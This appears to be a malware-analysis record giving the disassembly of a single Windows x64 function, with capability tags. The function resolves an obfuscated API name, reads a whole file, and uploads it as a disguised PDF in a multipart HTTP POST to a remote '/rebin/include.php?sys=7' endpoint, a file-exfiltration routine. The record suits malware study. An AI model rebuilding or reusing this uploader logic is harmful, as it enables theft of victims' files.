Function at 0x140002c20
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
push rdi
push r12
push r14
lea rbp, [rsp - 0x1848]
mov eax, 0x1948
call fcn.14000cc70
sub rsp, rax
mov rax, qword [0x1400180e0]
xor rax, rsp
mov qword [rbp + 0x1830], rax
mov rdi, rcx
lea rcx, [rbp + 0x1c2]
xor r12d, r12d
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1c0], r12w
call fcn.140008090
lea rcx, str.QbuiGjmfFyjtutX
mov r14d, r12d
call section..text
mov rcx, rdi
call rax
test eax, eax
jne 0x140002c97
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [r12 + 1]
jmp 0x140003072
xor r9d, r9d
mov qword [rsp + 0x1978], rbx
mov qword [rsp + 0x30], r12
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov rcx, rdi
mov qword [rsp + 0x1980], rsi
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x1940], r15
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140002ce7
mov r15d, r12d
jmp 0x140002d53
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
lea r8, [rsp + 0x40]
xor r9d, r9d
xor edx, edx
mov rcx, rsi
mov r15d, eax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x140002d16
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [r15 + 3]
mov ebx, ecx
call fcn.140003df4
mov r8d, ebx
mov rcx, rax
xor edx, edx
mov r14, rax
call fcn.140008090
lea r9, [rsp + 0x40]
mov r8d, r15d
mov rdx, r14
mov rcx, rsi
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x5c
mov rcx, rdi
call fcn.1400043f0
test rax, rax
je 0x140002d6f
sub rax, rdi
sar rax, 1
inc eax
jmp 0x140002d72
mov eax, r12d
or rbx, 0xffffffffffffffff
mov ecx, eax
mov r9, rbx
nop dword [rax + rax]
inc r9
cmp word [rdi + r9*2], r12w
jne 0x140002d80
sub r9, rcx
lea r8, [rdi + rcx*2]
lea rcx, [rbp + 0x1c0]
mov edx, 0x104
call fcn.14000426c
lea rcx, [rbp + 0x7f0]
xor edx, edx
mov r8d, 0x410
call fcn.140008090
lea r9, str.WebKitFormBoundary
lea r8, [0x140015cb0]
lea rcx, [rbp + 0x7f0]
mov edx, 0x410
call fcn.1400037b0
lea rcx, [rbp + 0x7f0]
mov rax, rbx
nop
cmp word [rcx + rax*2 + 2], r12w
lea rax, [rax + 1]
jne 0x140002de0
lea rcx, [rbp + 0x7f0]
lea rcx, [rcx + rax*2]
call fcn.140003100
mov qword [rsp + 0x38], r12
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], r12
lea r8, [rbp + 0x7f0]
mov r9d, ebx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0xa28
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [rsp + 0x50]
movzx edx, word [rsp + 0x4e]
movzx r8d, word [rsp + 0x4a]
movzx eax, word [rsp + 0x52]
lea r9, [rbp + 0x1c0]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r8d
lea rcx, [rbp + 0x5e0]
lea r8, str._s__d__d__d__d
mov edx, 0x104
call fcn.1400037b0
mov qword [rsp + 0x38], r12
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x30], r12
lea r8, [rbp + 0x5e0]
mov r9d, ebx
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0xa28
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rax, [rbp + 0x7f0]
mov qword [rsp + 0x38], rax
lea rax, str.Content_Type:_multipart_form_data__boundary____
lea r9, str.Cache_Control:_max_age0
mov qword [rsp + 0x30], rax
lea rax, [0x140015d44]
lea r8, str._r_n_s_r_n_s_s_r_n_s_s_r_n
mov qword [rsp + 0x28], rax
lea rax, str.Origin:_http:__
lea rcx, [rbp + 0x1010]
mov edx, 0x410
mov qword [rsp + 0x20], rax
call fcn.1400037b0
lea eax, [r15 + 0x30d40]
mov ecx, eax
mov edi, eax
call fcn.140004338
mov r8d, edi
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.140008090
test rsi, rsi
je 0x14000302b
lea rax, [rbp + 0xb0]
lea r9, [rsp + 0x60]
lea r8, str._______s_r_nContent_Disposition:_form_data__name_MAX_FILE_SIZE__r_n_r_n1000000000_r_n_______s_r_nContent_Disposition:_form_data__name_userfile___filename__s__r_nContent_Type:_application_pdf_r_n_r_n
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov edx, edi
mov rcx, rsi
mov qword [rsp + 0x1988], r13
mov qword [rsp + 0x20], rax
call fcn.140003ea4
mov rdi, rbx
nop dword [rax]
inc rdi
cmp byte [rsi + rdi], r12b
jne 0x140002f60
mov ecx, edi
mov r8d, r15d
mov rdx, r14
add rcx, rsi
call fcn.1400037f0
mov ecx, 0xa0d
lea r13d, [r15 + rdi]
mov word [r13 + rsi], cx
lea r9, [rsp + 0x60]
lea r8, str._______s___r_n
lea rcx, [rbp - 0x60]
mov edx, 0x104
call fcn.140003ea4
lea rax, [rbp - 0x60]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140002fb0
lea ecx, [r13 + 2]
lea rdx, [rbp - 0x60]
add rcx, rsi
call fcn.1400037f0
mov r13, qword [rsp + 0x1988]
lea rax, [rbp - 0x60]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x140002fd5
add ebx, 2
lea r9, str._rebin_include.php__sys_7
lea r8, [0x140015cb0]
lea rcx, [rbp + 0x3d0]
add ebx, r15d
mov edx, 0x104
add ebx, edi
call fcn.1400037b0
lea r8, [rbp + 0x1010]
lea rdx, [rbp + 0x3d0]
mov r9, rsi
mov dword [rsp + 0x20], ebx
call fcn.1400011b0
mov rcx, rsi
test eax, eax
jne 0x140003043
call fcn.1400035e0
test r14, r14
je 0x140003038
mov rcx, r14
call fcn.1400035e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, r12d
jmp 0x14000305a
call fcn.1400035e0
test r14, r14
je 0x140003055
mov rcx, r14
call fcn.1400035e0
mov eax, 1
mov rsi, qword [rsp + 0x1980]
mov rbx, qword [rsp + 0x1978]
mov r15, qword [rsp + 0x1940]
mov rcx, qword [rbp + 0x1830]
xor rcx, rsp
call fcn.1400033e0
add rsp, 0x1948
pop r14
pop r12
pop rdi
pop rbp
ret